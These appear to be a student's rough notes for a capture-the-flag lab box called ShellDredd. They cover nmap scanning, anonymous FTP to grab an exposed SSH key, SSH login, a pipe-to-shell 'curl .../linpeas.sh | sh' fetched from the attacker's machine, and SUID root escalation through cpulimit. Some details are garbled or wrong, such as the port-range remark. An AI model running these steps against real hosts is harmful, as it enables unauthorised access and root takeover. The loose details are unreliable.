command - finf local.txt and proof.txt

1. openvpn

sudo openvpn universal.ovpn

quit : ctrl + C

***create a folder

2. Sanity Check- double check can connect target ?

ping the target IP
ping 192.168.112.130 -c 4

3. Nmap

nmap -sC -sV -p- IP address -OCSP standard
- `-sC` = Run default scripts (safe scripts for service detection)
- `-sV` = Detect service versions
- `-p-` = Scan ALL 65,535 ports (this takes time)
if fail nmap, try nmap -Pn -sC -sV 192.168.184.130
-tell Nmap: *"Don't check if it's alive, just scan it anyway."* Use the `-Pn` flag.

**TCP - 3ways handshake
nmap -sVC -p- -v -T4 -sT --open IP_ADDRESS -oN results

UDP - send streaming - without respond - UDP scan more longer
sudo nmap -sU -p 1-1024 -v IP_ADDRESS -oA results_UDP

nmap 192.168.221.130 -sVC -p- -T4 --open -oN -v

port 21 check anonymous
***ftp-anon: Anonymous FTP login allowed (FTP code 230)
ftp anonymous@192.168.112.130

ls -la(check for hidden files too) - use ls -la after anonymous
download the file
'cannot chmod in ftp..server will not let a stranger change its files.

4. exit ftp
5. check have downloaded the victim folder
6. change permission
   chmod 600 id_rsa

**need username and pw or username and key

7. go in ssh（find local and root）
   ssh hannah@192.168.112.130 -i id_rsa
   becasue its show port 22 and its closed, so try open port 61000
   ssh hannah@192.168.112.130 -i id_rsa -p 61000
8. inside scan and find vulnebility
   do sudo, if cannot check SUID buinary
9. check GTFO = private escalate
   (SUID and GTFO is 1 set)
   /usr/bin
10. use linpeas to scan
    to own pc run python3 -m http.server 8000 to shift(it will create a link of the folder file)
    my pc: myip:8000
11. chmod 700 file name if cannot
12. chmod +x linpeas.sh <-- 1. Make it executable
    ./linpeas.sh <-- 2. Run it (NO SPACE after the dot)13.
13. victim: curl my_ip/linpeas.sh | sh (put at temp folder)
14. find local.txt (inside the victim machine)

curl 192.168.45.206:8000/linpeas.sh | sh (without 8000, will go to 80)
if cannot curl change to wget

root done

**find out:

ls -la and ls compare

. folder name cd also can consider hidden
id_rsa
how to download file in ftp
chmod 600 id_rsa

compare:
drwxrwxr-x 2 kali kali 4096 Jan 14 09:11 .
drwx------ 18 kali kali 4096 Jan 14 08:4 3 ..
-rw-rw-r-- 1 kali kali 1823 Aug 6 2020 id_rsa

total 12
drwxrwxr-x 2 kali kali 4096 Jan 14 09:11 .
drwx------ 18 kali kali 4096 Jan 14 08:43 ..
-rw------- 1 kali kali 1823 Aug 6 2020 id_rsa

key is id_rsa

****new
change math to bit

```
hannah@ShellDredd:/usr/bin$ ls
'['                                 nice
 2to3-2.7                           nisdomainname
 aa-enabled                         nl
 aa-exec                            nohup
 addpart                            nproc
 apropos                            nroff
 apt                                nsenter
 apt-cache                          nstat
 apt-cdrom                          numfmt
 apt-config                         obexctl
 apt-extracttemplates               od
 apt-ftparchive                     on_ac_power
 apt-get                            openssl
 apt-key                            openvt
 apt-listchanges                    os-prober
 apt-mark                           pager
 apt-sortpkgs                       partx
```

./ = execute

to understand

```
hannah@ShellDredd:/usr/bin$ ./cpulimit -l 100 -f /bin/sh -p
CPUlimit version 2.4
Usage: ./cpulimit TARGET [OPTIONS ...] [-- PROGRAM]
   TARGET must be exactly one of these:
      -p, --pid=N         pid of the process
      -e, --exe=FILE      name of the executable program file
                          The -e option only works when
                          cpulimit is run with admin rights.
      -P, --path=PATH     absolute path name of the
                          executable program file
   OPTIONS
      -b  --background    run in background
      -f  --foreground    launch target process in foreground and wait for it
to exit
      -c  --cpu=N         override the detection of CPUs on the machine.
      -l, --limit=N       percentage of cpu allowed from 1 up.
                          Usually 1 - 100, but can be higher
                          on multi-core CPUs (mandatory)
      -m, --monitor-forks  Watch children/forks of the target process
      -q, --quiet         run in quiet mode (only print errors).
      -k, --kill          kill processes going over their limit
                          instead of just throttling them.
      -r, --restore       Restore processes after they have
                          been killed. Works with the -k flag.
      -s, --signal=SIG    Send this signal to the watched process when cpulimi
t exits.
                          Signal should be specificed as a number or
                          SIGTERM, SIGCONT, SIGSTOP, etc. SIGCONT is the defau
```

root and cd /root

learn the link https://www.geeksforgeeks.org/linux-unix/linux-file-hierarchy-structure/

what is usr/bin

what is cp= copy
ps=

temp file very useful.. can put anything inside
google linpeas

***save files: https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS

linpeas is scan victim machine
when ./ to run

port 1-1024 +well known
<1024 = dynamic